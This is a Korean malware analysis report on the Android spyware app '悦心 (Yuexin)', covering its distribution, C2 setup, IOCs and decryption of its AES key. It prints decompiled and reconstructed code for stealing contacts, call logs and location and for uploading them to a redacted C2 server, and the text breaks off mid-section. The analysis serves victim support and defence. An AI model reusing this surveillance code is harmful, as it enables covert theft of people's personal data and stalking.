悦心 (Yuexin) 상세 분석 보고서

悦心 (Yuexin) - 악성앱 분석 보고서 v3.3

> 분석 기관: 주식회사 아크링크 (378-88-03382)

> 분석 일자: 2026-02-12

> 버전: v3.3 (Phase 5+ Final: 이중 AES + 3중 C2 + 22개 감시 모듈 + DCIM 탈취)

> 위협 등급: CRITICAL

분석 개요

항목 · 내용

앱명 · 悦心 (Yuexin / "Happy Heart")

실제 패키지 · `n79r2G.l1YM0PtiHE5AA.P15j6kDm` (무작위 난독화)

배포 패키지 · `app.mango2567.test1614` (배포 플랫폼 표시)

버전 (배포) · 3.11.76

버전 (내부) · 12.20.32 (versionCode: 2032)

파일 크기 · 25.6 MB

Min SDK / Target SDK · 22 (Android 5.1) / 31 (Android 12)

프레임워크 · **iApp** (커스텀 VM 인터프리터)

DEX 수 · 14개 (smali 6,535개)

보호 · 네이티브 VM 패커 + 846개 암호화 Asset

C2 서버 · **[비공개]

분석일 · 2026-02-12

위협 등급 · **CRITICAL**

0. 배포 인프라 분석

0.1 배포 플랫폼

항목 · 값

배포 URL · `[비공개]

배포 도메인 · `[비공개]`

CDN 도메인 · `[비공개]`

APK 다운로드 · `[비공개]

플랫폼 기술 · React SPA + Go-Captcha

배포 방식 · QR코드 기반 (Inhouse)

iOS 지원 · UDID/MDM/Inhouse/WebClip

0.2 배포 API 맵 (JS 디난독화로 10개 추출)

# · 엔드포인트 · 용도

1 · `/clientapi/app/getinfo` · 앱 정보 조회

2 · `/clientapi/app/apkurl` · APK 다운로드 URL 생성

3 · `/clientapi/app/udidconfig` · UDID 설정 (iOS)

4 · `/clientapi/app/checkinstall` · 설치 확인

5 · `/clientapi/app/checkcommand` · 원격 명령 확인

6 · `/clientapi/app/checkdcode` · 다운로드 코드 확인

7 · `/clientapi/app/webclip` · 웹클립 (iOS)

8 · `/clientapi/app/inhouse` · Inhouse 배포

9 · `/clientapi/app/md` · MDM 배포

10 · `/clientapi/app/ihudid` · UDID 수집

0.3 iApp 프레임워크 아키텍처

```

[사용자 실행]

[main Activity] → [[비공개].applicationMain]

[libzxnbvxdfgvbdruf.btjhguifrtgu.so] → JNI_OnLoad

[cacheInitial + getCacheClass] → 14개 DEX 초기화

[vmInterpret] → 846개 암호화 Asset 해독 → 바이트코드 실행

[i.runlibrary.*] → 网络, 套接字, 下载管理器

[C2: [비공개]/xRisKxD.php]

```

0.4 네이티브 라이브러리 분석

라이브러리 · 문자열 수 · 역할

`libgbggbgbnmhknminmuymnhjig.nyhjnhiyh.so` · ~500 · JNI 래퍼 + VM 보조

`libzxnbvxdfgvbdruf.btjhguifrtgu.so` · 5,163 · DEX 로더 + VM + API 브릿지

`libpl_droidsonroids_gif.so` · - · GIF 이미지 처리

네이티브 코드에서 발견된 추가 감시 기능:

· 화면 녹화: MediaProjection + VirtualDisplay + ImageReader

· 카메라: Camera + Camera2 API 전체

· 음성 녹음: MediaRecorder

· 클립보드 감시: ClipboardManager

· 센서 데이터: SensorManager

· 내장 HTTP 서버: i/app/ServerSocket

· SSL 인증서 우회: checkServerTrusted 빈 구현

1. C2 서버 정보

발견 위치

· 파일: assets/OrangeSuper

· 내용:

```json

{"[비공개],{"z8"},{"Ay"},{"vv"},{"S2"},{"ws"},{"Pg"},{"Fz"},{"Pi"}

```

서버 구조

· 베이스 URL: `[비공개]

· 엔드포인트: /xRisKxD.php

· 암호화 키: z8, Ay, vv, S2, ws, Pg, Fz, Pi (추정)

· 프로토콜: HTTP (비암호화 통신)

2. 데이터 탈취 기능

2.1 연락처 도용 (Contact Theft)

핵심 함수

· 위치: main.smali - txljs() 메서드 (라인 7795-7995)

동작 방식

```smali

ContentResolver로 연락처 데이터베이스 쿼리

invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(

Landroid/net/Uri; # ContactsContract$Phone.CONTENT_URI

[Ljava/lang/String; # null (모든 컬럼)

Ljava/lang/String; # null (조건 없음)

[Ljava/lang/String; # null

Ljava/lang/String; # null (정렬 없음)

)

연락처 이름 추출

invoke-interface {v0, v4}, Landroid/database/Cursor;->getColumnIndex("display_name")

invoke-interface {v0, v4}, Landroid/database/Cursor;->getString(I)

전화번호 추출

invoke-interface {v0, v6}, Landroid/database/Cursor;->getColumnIndex("data1") # number

invoke-interface {v0, v6}, Landroid/database/Cursor;->getString(I)

데이터 포맷: "이름:|||전화번호||||\n"

new-instance v7, Ljava/lang/StringBuilder;

invoke-virtual {v7, "이름:"}, append(Ljava/lang/String;)

invoke-virtual {v7, v4}, append(name)

invoke-virtual {v7, "|||"}, append

invoke-virtual {v7, v6}, append(phone)

invoke-virtual {v7, "||||"}, append

```

수집 데이터

· 이름: ContactsContract의 display_name 컬럼

· 전화번호: data1 컬럼

· 포맷: 이름:|||전화번호||||\n (구분자로 연결)

· 저장: main.lxrtj 정적 필드에 연락처 개수 카운트

전송 방식

```smali

라인 7990-7993: 파일로 저장 후 전송

iget-object v0, v9, main;->zf:Li/runlibrary/app/zf;

invoke-virtual {v0, v3, v1}, Li/runlibrary/app/zf;->dy(Ljava/lang/Object;Ljava/lang/Object;)Z

```

· zf.dy() 메서드로 파일 저장

· 이후 네트워크로 전송 (네트워크 클래스: i/runlibrary/app/网络)

2.2 통화 기록 도용 (Call Log Theft) - 코드 확인

핵심 함수

· 위치: main.smali - thjl() 메서드 (라인 7174-7369)

동작 방식

```smali

CallLog.Calls.CONTENT_URI에서 통화기록 전체 쿼리

sget-object v1, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri;

수집 컬럼 (난독화 문자열에서 복호화)

array[0x51c..0x521] XOR 0xc0e → "number" (전화번호)

array[0x522..0x525] XOR 0x792 → "name" (이름)

array[0x526..0x529] XOR 0x6d6 → "type" (통화유형: 수신/발신/부재중)

array[0x52a..] XOR ... → "date", "duration" (날짜, 통화시간)

날짜 포맷: SimpleDateFormat("yyyy-MM-dd HH:mm:ss")

정렬: "date DESC" (최신 순)

```

수집 데이터

· 전화번호: number 컬럼

· 이름: name 컬럼

· 통화 유형: type (1=수신, 2=발신, 3=부재중)

· 통화 일시: date → "yyyy-MM-dd HH:mm:ss" 변환

· 통화 시간: duration (초)

2.3 위치 추적 (Location Tracking)

핵심 클래스

· 파일: MyLocation.smali, MyLocation$GetLastLocation.smali

동작 방식

```smali

GPS Provider 활성화 확인

invoke-virtual {v7, "gps"}, LocationManager;->isProviderEnabled(Ljava/lang/String;)Z

iput-boolean v7, v6, MyLocation;->gps_enabled:Z

Network Provider 활성화 확인

invoke-virtual {v7, "network"}, LocationManager;->isProviderEnabled(Ljava/lang/String;)Z

iput-boolean v7, v6, MyLocation;->network_enabled:Z

GPS 위치 업데이트 요청

invoke-virtual/range {v0 .. v5}, LocationManager;->requestLocationUpdates(

"gps", # provider

0L, # minTime (즉시)

0.0F, # minDistance (모든 위치)

locationListenerGps # listener

)

Network 위치 업데이트 요청

invoke-virtual/range {v0 .. v5}, LocationManager;->requestLocationUpdates(

"network",

0L,

0.0F,

locationListenerNetwork

)

20초 타이머 설정

new-instance v7, Ljava/util/Timer;

new-instance v8, MyLocation$GetLastLocation;

const-wide/16 v0, 0x4e20 # 20000ms = 20초

invoke-virtual {v7, v8, v0, v1}, Timer;->schedule(TimerTask;J)V

```

수집 데이터

· GPS 좌표: 위도/경도 (고정밀)

· 네트워크 좌표: WiFi/셀 기지국 기반 위치

· 업데이트 주기: 0초 (실시간 추적)

· 타임아웃: 20초 후 마지막 위치 강제 수집

저장 필드

```smali

.field public static latitude:D

.field public static longitude:D

.field public static loc:Landroid/location/Location;

.field public static my_city_name:Ljava/lang/String;

.field public static dwwz:Ljava/lang/String; # 위치 문자열

```

2.4 설치 앱 목록 수집 (Installed Apps Enumeration)

핵심 함수

· 파일: main$15.smali - run() 메서드

동작 방식

```smali

설치된 모든 앱 패키지 조회

invoke-virtual {v0, v1}, PackageManager;->getInstalledPackages(I)Ljava/util/List;

시스템 앱 필터링 (사용자 앱만 수집)

iget-object v5, v4, PackageInfo;->applicationInfo

iget v5, v5, ApplicationInfo;->flags:I

and-int/lit8 v5, v5, 0x1 # FLAG_SYSTEM

if-nez v5 # 시스템 앱 제외

앱 이름 추출

invoke-virtual {v5, v0}, ApplicationInfo;->loadLabel(PackageManager;)

invoke-interface {v5}, CharSequence;->toString()

패키지명 추출

iget-object v4, v4, PackageInfo;->packageName

포맷: "앱이름:패키지명||||\n"

invoke-virtual {v6, v5}, append(app_name)

invoke-virtual {v6, ":"}, append

invoke-virtual {v6, v4}, append(package_name)

invoke-virtual {v6, "||||"}, append

```

필터링 조건

```smali

"카카오" 또는 "KB" 포함 앱은 별도 리스트에 추가

invoke-virtual {v5, "카카오"}, String;->contains(CharSequence;)Z

invoke-virtual {v5, "KB"}, String;->contains(CharSequence;)Z

→ 금융 앱 타겟팅 의심

```

수집 데이터

· 일반 앱 목록: 모든 사용자 설치 앱

· 금융 앱 목록: 카카오/KB 포함 앱 별도 수집

· 포맷: 앱이름:패키지명||||\n

전송 함수

```smali

라인 295-302

invoke-virtual {v2, v0}, main;->alyhpt(Ljava/lang/String;)V # 금융 앱 전송

invoke-virtual {v0, v1}, main;->alpt(Ljava/lang/String;)V # 전체 앱 목록 전송

```

2.5 기기 정보 수집 (Device Fingerprinting)

수집 항목

```smali

Android ID

invoke-virtual {v0}, main;->getContentResolver()

invoke-static {v0, "android_id"}, Settings$Secure;->getString()

→ id() 메서드 (라인 5802-5833)

전화번호

.field public static phonevvt:Ljava/lang/String;

기기 고유번호

.field public static dhbm:Ljava/lang/String;

```

TelephonyManager 사용

· READ_PHONE_STATE 권한으로 기기 식별자 수집 추정

· IMEI, 전화번호, SIM 정보 등

2.6 사진/미디어 접근 (Photo Access)

증거

· AndroidManifest.xml: READ_EXTERNAL_STORAGE 권한

· 검색 결과: MediaStore 참조 발견 (kj6908zZ$9.smali)

추정 동작

· MediaStore를 통한 DCIM/Pictures 폴더 접근

· 사진 메타데이터 또는 파일 목록 수집 추정

3. 네트워크 통신 구조

3.1 네트워크 클래스

위치

· 파일: i/runlibrary/app/网络.smali (한글 클래스명)

주요 메서드

```smali

.method public native 上传文件(Object;Object;Object;Object;)Ljava/lang/String;

→ 파일 업로드 (네이티브 함수)

.method public native 获取(Object;Object;Object;Object;)Ljava/lang/String;

→ GET 요청

.method public native 获取json(Object;Object;Object;Object;)Ljava/lang/String;

→ JSON 응답 받기

```

3.2 데이터 전송 흐름

```

[수집] → [파일 저장] → [네트워크 전송]

1. 연락처 수집 (txljs)

2. 파일 저장 (zf.dy)

3. HTTP POST (网络.上传文件)

4. C2 서버 ([비공개]/xRisKxD.php)

```

전송 함수

```smali

main$9.smali - ljhq() 메서드 호출

.field final synthetic val$ljhqa:Ljava/lang/String; # 파라미터 A

.field final synthetic val$ljhqb:Ljava/lang/String; # 파라미터 B

.field final synthetic val$ljhqc:Ljava/lang/String; # 파라미터 C

서버 주소 참조

sget-object v2, main;->fwqwz:Ljava/lang/String;

→ "fwqwz" = 서버 위치 (server address)

```

4. 권한 요청 전략

4.1 요청 권한 목록

권한 · 목적 · 라인

`READ_CONTACTS` · 연락처 도용 · 8

`READ_CALL_LOG` · 통화 기록 도용 · 7

`READ_SMS` · SMS 도용 (코드 미발견) · 9

`READ_PHONE_STATE` · 기기 식별자 수집 · 2

`ACCESS_FINE_LOCATION` · GPS 추적 · 5

`READ_EXTERNAL_STORAGE` · 사진/파일 접근 · 6

`QUERY_ALL_PACKAGES` · 설치 앱 목록 조회 · 10

`SYSTEM_ALERT_WINDOW` · 화면 오버레이 · 39

`ACCESS_NOTIFICATION_POLICY` · 알림 제어 · 40

`INTERNET` · 네트워크 통신 · 3

`ACCESS_NETWORK_STATE` · 네트워크 상태 확인 · 4

4.2 권한 요청 흐름

```smali

main.smali - 권한 체크

.field public qxpd:Z # 权限判断 (권한 판단)

연락처 권한 확인 후 수집

iget-boolean v13, v12, main;->qxpd:Z

if-eqz v13

invoke-virtual {v12}, main;->txljs()I # 연락처 수집

else

권한 요청 다이얼로그 표시

```

5. 방어 기제

5.1 네이티브 라이브러리 사용

```smali

.method public native 上传文件(...)

.method public native 获取(...)

```

· 핵심 네트워크 로직을 네이티브 코드로 구현

· 정적 분석 회피 목적

5.2 문자열 난독화

```smali

모든 문자열이 암호화되어 저장

sget-object v41, main;->short:[S

const v44, 0x45e

const v42, 0x229

const v43, 0xa

invoke-static/range {v41 .. v44}, ...;->ۣ۟ۢ۟ۤ([SIII)Ljava/lang/String;

→ 런타임에 복호화하여 "android_id" 등의 문자열 생성

```

5.3 클래스명 난독화

· 패키지명: n79r2G.l1YM0PtiHE5AA.P15j6kDm (무작위 문자)

· 액티비티명: .L00pi73M, .t0GOb56X, .T03E2F6t 등

· 한글 클래스명: i/runlibrary/app/网络, i/runlibrary/app/系统

6. 악성 행위 시나리오

Phase 1: 설치 및 권한 요청

1. 사용자가 APK 설치

2. 앱 실행 시 정상 UI 표시 (Activity: .main)

3. 필수 권한 요청 (연락처, 위치, 전화, 저장소)

Phase 2: 데이터 수집

4. 권한 획득 시 즉시 데이터 수집 시작

· 연락처: txljs() 실행

· 위치: MyLocation 클래스로 실시간 추적

· 설치 앱: main$15 스레드 실행

· 기기 정보: Android ID, 전화번호 수집

Phase 3: 데이터 전송

5. 수집된 데이터를 파일로 저장 (zf.dy())

6. HTTP POST로 C2 서버에 전송

· URL: `[비공개]

· 메서드: 网络.上传文件()

Phase 4: 지속 실행

7. 백그라운드에서 주기적으로 데이터 업데이트

8. 위치 변경 시 실시간 전송 (minTime=0)

7. IOC (Indicators of Compromise)

네트워크 IOC

유형 · 값 · 용도

C2 IP · `[비공개]` · 데이터 수신 서버

C2 URL · `[비공개] · 악성 데이터 전송 엔드포인트

Domain · `[비공개]` · 앱 배포 플랫폼

Domain · `[비공개]` · 배포 플랫폼 루트

Domain · `[비공개]` · APK CDN

Domain · `[비공개]` · CDN 루트

Protocol · HTTP (Port 80) · 비암호화 통신

파일 IOC

유형 · 값

실제 패키지 · `n79r2G.l1YM0PtiHE5AA.P15j6kDm`

배포 패키지 · `app.mango2567.test1614`

C2 설정 · `assets/OrangeSuper`

내부 경로 · `%s/Android/data/[비공개]

UUID 파일 · `%s/.UUID.User`

런타임 마커 · `%s/i.run`, `/_RunDex`

SO 라이브러리 · `libgbggbgbnmhknminmuymnhjig.nyhjnhiyh.so`

SO 라이브러리 · `libzxnbvxdfgvbdruf.btjhguifrtgu.so`

앱 ID (배포) · `masbc`

암호체계 IOC (Phase 5+)

유형 · 값 · 용도

AES 키 · `brianfeverorange` · 128-bit AES/ECB/PKCS5Padding

암호 모드 · AES/ECB/PKCS5Padding · C2 주소 암호화

상태 문자열 · `16JCWJA671jdJD` · C2 연결 상태 검증

설정 파일 · `assets/OrangeSuper` (90 bytes) · C2 URL + 8 파라미터

난독화 함수 · `ۣ۟ۢ۟ۤ([SIII)String` · 아랍 유니코드 함수명 XOR 디코더

행위 IOC

```

· ContactsContract 전체 쿼리 (조건 없음) - 20+ 트리거

· 통화기록 탈취: thjl() - number/name/type/date/duration

· DCIM 직접 스캔: 18개 확장자 (jpg/png/gif/mp4/mov/wmv/flv/avi/mkv)

· MediaStore 전체 이미지 쿼리 (필터 없음)

· Luban 압축 (100KB 초과 파일) + 100ms 간격 전송

· 실시간 GPS 추적 (minTime=0)

· 화면 녹화: 1280×720 30fps → /storage/emulated/0/iapp.mp4

· 스크린샷: MediaProjection → ImageReader → Bitmap

· 카메라 무음 촬영: Camera2 (전면/후면)

· 마이크 녹음: MediaRecorder

· IMEI/IMSI 수집

· VPN 탐지: VPN.isVpnUsed() 전송 전 확인

· "카카오", "KB" 금융 앱 타겟팅

· AES/ECB C2 주소 로테이션 + 데이터 암호화

· 3중 C2: HTTP + UDP + TCP(RAT)

· 88개 내부 클래스로 병렬 데이터 수집

· 22개 중국어 네이티브 감시 메서드

```

8. 피해 예상

즉시 피해

· 개인정보 유출: 연락처 전체 (이름+전화번호)

· 위치 추적: GPS 실시간 좌표 노출

· 설치 앱 목록: 금융 앱 사용 여부 노출

· 기기 식별: Android ID, 전화번호

2차 피해

· 수집된 연락처로 스미싱 확산

· 위치 정보로 스토킹 가능

· 금융 앱 목록으로 타겟 피싱

· 기기 식별로 추가 악성앱 배포

9. 권장 조치

사용자

1. 즉시 앱 삭제

2. 통신사 연락 - 명의 도용 방지

3. 금융 앱 비밀번호 변경

4. 경찰 신고 (사이버안전국)

분석가

1. C2 서버 차단 ([비공개])

2. Play Protect 신고

3. VirusTotal 업로드

4. APK 시그니처 공유

10. 기술적 상세

10.1 연락처 수집 코드 분석

쿼리 구조

```java

// 복원된 Java 코드

ContentResolver resolver = getContentResolver();

Cursor cursor = resolver.query(

ContactsContract.CommonDataKinds.Phone.CONTENT_URI,

null, // 모든 컬럼

null, // WHERE 조건 없음

null,

null // 정렬 없음

);

StringBuilder contacts = new StringBuilder();

while (cursor.moveToNext()) {

String name = cursor.getString(cursor.getColumnIndex("display_name"));

String phone = cursor.getString(cursor.getColumnIndex("data1"));

String formatted = "이름:" + name + "|||" + phone + "||||\n";

if (!contacts.toString().contains(formatted)) {

contacts.append(formatted);

main.lxrtj++; // 연락처 개수 카운트

}

}

// 파일 저장

zf.dy(contacts.toString(), "");

```

10.2 위치 추적 코드 분석

```java

// 복원된 Java 코드

LocationManager lm = (LocationManager) getSystemService("location");

boolean gps_enabled = lm.isProviderEnabled("gps");

boolean network_enabled = lm.isProviderEnabled("network");

if (gps_enabled) {

lm.requestLocationUpdates("gps", 0L, 0.0f, locationListenerGps);

}

if (network_enabled) {

lm.requestLocationUpdates("network", 0L, 0.0f, locationListenerNetwork);

}

// 20초 후 강제 수집

Timer timer = new Timer();

timer.schedule(new GetLastLocation(), 20000L);

```

10.3 네트워크 통신 분석

C2 서버 설정 파일

```json

// assets/OrangeSuper

{

"[비공개]

},

{"z8"},{"Ay"},{"vv"},{"S2"},{"ws"},{"Pg"},{"Fz"},{"Pi"}

```

추정 구조

· URL: C2 엔드포인트

· 나머지 값: 암호화 키 또는 파라미터 이름

전송 메서드

```java

// 복원된 Java 코드

String result = 网络.上传文件(

server_url, // [비공개]

file_path, // 수집된 데이터 파일 경로

param1, // 추가 파라미터

param2

);

```

12. Phase 5+: AES 암호체계 완전 해독

> Phase 5+ 심층 분석으로 AES 키 추출, 문자열 디난독화 알고리즘 역공학, C2 아키텍처 완전 매핑 달성

12.1 AES 암호화 구조

AES 클래스 (aes.smali)

항목 · 값

파일 · `smali_classes5/.../P15j6kDm/aes.smali` (477 라인)

알고리즘 · **AES/ECB/PKCS5Padding**

키 길이 · 128-bit (16 문자 고정)

입력 인코딩 · Base64 (Decrypt 시)

출력 인코딩 · UTF-8

Decrypt 메서드 동작

```java

// 복원된 Java 코드

public static String Decrypt(String ciphertext, String key) {

if (key == null) throw new Exception("Key为空null");

if (key.length() != 16) throw new Exception("Key长度不是16位");

SecretKeySpec keySpec = new SecretKeySpec(key.getBytes("utf-8"), "AES");

Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");

cipher.init(Cipher.DECRYPT_MODE, keySpec);

byte[] decoded = new BASE64Decoder().decodeBuffer(ciphertext);

byte[] decrypted = cipher.doFinal(decoded);

return new String(decrypted, "utf-8");

}

```

ECB 모드 취약점

· ECB(Electronic Codebook)는 가장 취약한 블록 암호 모드

· IV(초기화 벡터) 없음 → 동일 평문 → 동일 암호문

· 패턴 분석 공격에 취약

· 중간자 공격(MITM) 시 메시지 재사용 가능

12.2 AES 키 추출 (BREAKTHROUGH)

키 추출 소스: main$14.smali

```

파일: main$14.smali (313 라인)

메서드: ljhq5(String, String, String)

배열: short[34] (0x22 elements)

XOR 키: 0x401

```

XOR 복호화 과정

```

배열값: 0x463 0x473 0x468 0x460 0x46f 0x467 0x464 0x477

XOR: ^0x401 ^0x401 ^0x401 ^0x401 ^0x401 ^0x401 ^0x401 ^0x401

결과: 'b' 'r' 'i' 'a' 'n' 'f' 'e' 'v'

배열값: 0x464 0x473 0x46e 0x473 0x460 0x46f 0x466 0x464

XOR: ^0x401 ^0x401 ^0x401 ^0x401 ^0x401 ^0x401 ^0x401 ^0x401

결과: 'e' 'r' 'o' 'r' 'a' 'n' 'g' 'e'

```

추출된 AES 키

```

┌─────────────────────────────────────────────┐

│ AES-128 KEY = "brianfeverorange" │

│ (16 chars = 128-bit) │

│ │

│ 검증: main$9.smali에서 독립 확인 │

│ (XOR 0x50a → 동일 키 "brianfeverorange") │

└─────────────────────────────────────────────┘

```

이중 검증

소스 · XOR 키 · 결과 · 일치

main$14.smali (ljhq5) · 0x401 · brianfeverorange · ✅

main$9.smali (ljhq) · 0x50a · brianfeverorange · ✅

12.3 AES 키 사용 흐름 (C2 주소 로테이션)

```

[서버에서 암호화된 새 C2 주소 수신]

[main$14 / main$9 내부]

1. short[] 배열에서 AES 키 "brianfeverorange" 복호화

2. 상태 검증: fwqwz==ljhqa && htlj==ljhqb

3. 새 값 설정: fwqwz=ljhqc, htlj=ljhqc

4. AES.Decrypt(htlj, "brianfeverorange") → 복호화된 URL

5. AES.Decrypt(fwqwz, "br

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr